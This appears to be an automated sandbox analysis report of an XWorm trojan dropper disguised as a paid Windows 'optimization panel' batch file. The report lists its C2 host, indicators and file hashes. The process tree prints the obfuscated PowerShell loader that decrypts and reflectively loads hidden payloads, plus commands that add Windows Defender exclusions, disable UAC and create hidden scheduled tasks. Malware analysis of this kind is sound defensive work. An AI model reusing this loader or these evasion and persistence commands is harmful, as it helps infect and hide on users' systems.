Analysis
- max time kernel
0s - max time network
23s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
09/06/2024, 02:42
Static task
static1
Behavioral task
behavioral1
Sample
PaidOptimizationPanel.bat
Resource
win7-20240220-en
4 signatures
150 seconds
General
- Target PaidOptimizationPanel.bat
- Size 519KB
- Sample240609-c7gfzadb43
- SHA256 4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923
- MD5 f2ab9e899e7a76f48bf673057e7787ea
- SHA1 596f8f3f081ab0a87bb651adf3918761129cb59e
- SHA512 d39c261f5cec6d4e51e68cd87b14127041cf99507ef0cc9c9bf05872ca72da3bb74d4aacb55f864c00d6532d2a9117616fad5ecd996644a79ff1bac2eb977370
- SSDEEP 12288:Gw8iMEuAlr97ma3TeLX8Ggbcrgcaa8LCtlO3icephEXsPtOOztWeSN:GiTuMeLkbcMg8LCPMpe6WEG4eSN
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
xworm
C2
-
loans-clip.gl.at.ply.gg:6807
Attributes
-
Install_directory
%AppData%
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4568-145-0x00000268F7470000-0x00000268F74A6000-memory.dmp family_xworm - Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4212 powershell.exe 3896 powershell.exe 1912 powershell.exe 3992 powershell.exe 4568 powershell.exe 4268 powershell.exe 1364 powershell.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 13 ip-api.com - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3348 schtasks.exe - Modifies registry key 1 TTPs 2 IoCs
pid Process 4332 reg.exe 3088 reg.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4820 wrote to memory of 2868 4820 cmd.exe 85 PID 4820 wrote to memory of 2868 4820 cmd.exe 85 PID 4820 wrote to memory of 4268 4820 cmd.exe 86 PID 4820 wrote to memory of 4268 4820 cmd.exe 86
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4820 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8VrnqL5FdmunZzeVZ6qm3mq6yWYLBaHrvu1oPeSLCUs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6e3JZfxMjzGGrf+BTRgQsw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $icvPY=New-Object System.IO.MemoryStream(,$param_var); $fyiKi=New-Object System.IO.MemoryStream; $qOVHn=New-Object System.IO.Compression.GZipStream($icvPY, [IO.Compression.CompressionMode]::Decompress); $qOVHn.CopyTo($fyiKi); $qOVHn.Dispose(); $icvPY.Dispose(); $fyiKi.Dispose(); $fyiKi.ToArray();}function execute_function($param_var,$param2_var){ $BdoSp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjdj=$BdoSp.EntryPoint; $CXjdj.Invoke($null, $param2_var);}$SmpZi = 'C:\Users\Admin\AppData\Local\Temp\PaidOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $SmpZi;$ACAQw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SmpZi).Split([Environment]::NewLine);foreach ($WeFFm in $ACAQw) { if ($WeFFm.StartsWith('aZvtqFFHKksqGUkZuRxa')) { $Rumeg=$WeFFm.Substring(20); break; }}$payloads_var=[string[]]$Rumeg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:2868
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Command and Scripting Interpreter: PowerShell
PID:4268 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_506_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
PID:1364
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs"3⤵PID:1984
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat" "4⤵PID:4732
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8VrnqL5FdmunZzeVZ6qm3mq6yWYLBaHrvu1oPeSLCUs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6e3JZfxMjzGGrf+BTRgQsw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $icvPY=New-Object System.IO.MemoryStream(,$param_var); $fyiKi=New-Object System.IO.MemoryStream; $qOVHn=New-Object System.IO.Compression.GZipStream($icvPY, [IO.Compression.CompressionMode]::Decompress); $qOVHn.CopyTo($fyiKi); $qOVHn.Dispose(); $icvPY.Dispose(); $fyiKi.Dispose(); $fyiKi.ToArray();}function execute_function($param_var,$param2_var){ $BdoSp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjdj=$BdoSp.EntryPoint; $CXjdj.Invoke($null, $param2_var);}$SmpZi = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat';$host.UI.RawUI.WindowTitle = $SmpZi;$ACAQw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SmpZi).Split([Environment]::NewLine);foreach ($WeFFm in $ACAQw) { if ($WeFFm.StartsWith('aZvtqFFHKksqGUkZuRxa')) { $Rumeg=$WeFFm.Substring(20); break; }}$payloads_var=[string[]]$Rumeg.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "5⤵PID:1784
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden5⤵
- Command and Scripting Interpreter: PowerShell
PID:4568 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rizzsxn_Tweaking_Panel.bat" "6⤵PID:212
-
C:\Windows\system32\reg.exeReg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f7⤵PID:3940
-
-
C:\Windows\system32\mode.commode 145,307⤵PID:4036
-
-
C:\Windows\system32\reg.exereg add HKLM /F7⤵
- Modifies registry key
PID:3088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"7⤵PID:1888
-
-
C:\Windows\system32\reg.exereg add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f7⤵
- Modifies registry key
PID:4332
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
PID:4212
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
PID:3896
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'6⤵
- Command and Scripting Interpreter: PowerShell
PID:1912
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'6⤵
- Command and Scripting Interpreter: PowerShell
PID:3992
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"6⤵
- Creates scheduled task(s)
PID:3348
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
- MD5 661739d384d9dfd807a089721202900b
- SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
- SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
- MD5 005bc2ef5a9d890fb2297be6a36f01c2
- SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
- SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 2afeb7db4e46d3c1524512a73448e9cd0121deec761d8aa54fa9fe8b56df7519
- MD5 12c844ed8342738dacc6eb0072c43257
- SHA1 b7f2f9e3ec4aaf5e2996720f129cd64887ac91d7
- SHA512 e3de9103533a69cccc36cd377297ba3ec9bd7a1159e1349d2cc01ab66a88a5a82b4ee3af61fab586a0cdfab915c7408735439fd0462c5c2cc2c787cb0765766a
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
- MD5 6d42b6da621e8df5674e26b799c8e2aa
- SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
- SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165
- MD5 a7cc007980e419d553568a106210549a
- SHA1 c03099706b75071f36c3962fcc60a22f197711e0
- SHA512 b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 347338241585c510bb1fafae13447879318610ca4d844b0e73089957911d77fe
- MD5 4178a021dab6578724f63a6a72b9b13b
- SHA1 8e5d61c21edaafe4e2257ebe53f9b37b723838b7
- SHA512 0f49991948129415c2a02298072055d4de521e4a8cb9ae887bb2096683668fcb491b99d58fd6e239463a5ac981d756c4b2827cb52c1e1253b9cb114095e140c9
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Rizzsxn_Tweaking_Panel.bat
- Size 258KB
- SHA256 2097980870ce3cb140d151b4e681a4ee28d6d27e751727a84b929b4e03d48673
- MD5 e03a31f264e58472bd637efcad0d1a03
- SHA1 3796dd30aebcf3aa6d006d5dddd7d2864e14963e
- SHA512 ccfc0eeeb3a8a758bea0d3c85df3fee825516f416d429d3f1bd4d40797a989485ca3b6c12a827b1525bef2c17f86fe26c8bc30cc5eae025af039fa2d4535202d
- SSDEEP 1536:5QnvQDYT9JYG8q5opHDUj0cN7ddLgxgF21Vnn47:5uvQDYt8nV5AYVnn47
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axrtn4nd.fwl.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.bat
- Size 519KB
- SHA256 4b2bbb9a5c6d64c6bda74a64ad364a8a2a1c8e6b3d93e41a335a5c5792789923
- MD5 f2ab9e899e7a76f48bf673057e7787ea
- SHA1 596f8f3f081ab0a87bb651adf3918761129cb59e
- SHA512 d39c261f5cec6d4e51e68cd87b14127041cf99507ef0cc9c9bf05872ca72da3bb74d4aacb55f864c00d6532d2a9117616fad5ecd996644a79ff1bac2eb977370
- SSDEEP 12288:Gw8iMEuAlr97ma3TeLX8Ggbcrgcaa8LCtlO3icephEXsPtOOztWeSN:GiTuMeLkbcMg8LCPMpe6WEG4eSN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_506.vbs
- Size 124B
- SHA256 2cf00e0fefaf438ee96664cb8a028fb49e1eda1cd902814cf2af5b0cf358e740
- MD5 54a19937dcb90536ca915044c726cb05
- SHA1 d30dce413127ae2ff3e0b33776fbc3a36507c250
- SHA512 700e186b455a33a2d4f2485d2997336ed3973ec011aceccad8e561cb99a8874ccedc55a6a48acbf11fe06de9a5f398efea5e3eaf3fd6181ab0c4a52d78a75fb7
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
- MD5 8abf2d6067c6f3191a015f84aa9b6efe
- SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
- SHA512 c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
- Size 2KB
- SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
- MD5 f313c5b4f95605026428425586317353
- SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
- SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
- MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
- SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
- SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
- Size 2KB
- SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
- MD5 7d612892b20e70250dbd00d0cdd4f09b
- SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
- SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
- MD5 1e8e2076314d54dd72e7ee09ff8a52ab
- SHA1 5fd0a67671430f66237f483eef39ff599b892272
- SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
- MD5 SHA1 SHA512
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
- MD5 0b990e24f1e839462c0ac35fef1d119e
- SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
- SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
- MD5 SHA1 SHA512